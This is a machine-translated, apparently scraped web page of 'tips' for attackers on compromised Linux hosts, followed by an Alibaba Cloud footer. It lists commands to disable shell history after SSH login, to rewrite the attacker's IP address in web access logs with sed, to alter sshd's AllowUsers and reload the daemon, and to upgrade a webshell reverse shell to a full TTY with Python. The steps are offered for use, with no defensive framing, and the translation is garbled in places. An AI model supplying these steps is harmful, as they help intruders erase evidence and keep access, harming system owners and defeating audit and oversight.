Some shit tips

Source: Internet
Author: User

From:Accidentally climbing ......

Some of the tips that I often use are cumbersome and cumbersome. Please float the non-trivial stream.

1. Do not record history after logging on to ssh
Unset history histfile histsave histzone history histlog; export HISTFILE =/dev/null; export HISTSIZE = 0; export HISTFILESIZE = 0

2. Some evil uses of sed

It is an evil replacement to the logon IP address and the access IP address in the log.

Sed-s/211. xxx/192.168.1.1/g access_log access. log security

Attackers can add ssh-restricted logon users.
Sed-I s/AllowUsers fuck root oracle rqcuser/g sshd_config
However, after this addition, the sshd service must be forcibly restarted to take effect.
Lsof-I: 22. Find the sshd process ID.
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
Sshd 18662 root 11u IPv6 27925867 TCP *: ssh (LISTEN)
Sshd 31793 sshd 12u IPv6 34742994 TCP 192.168.1.2: ssh-> 192.168.1.5: 49080 (ESTABLISHED)
Then
Kill-SIGHUP 18662

3. Get the real ttyshell after returning the shell through webshell bounce

Python-c import pty; pty. spawn ("/bin/sh ")

4. In Windows, the NC listens to linux and returns the shell command. The command cannot be properly wrapped.

Unalias ls

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.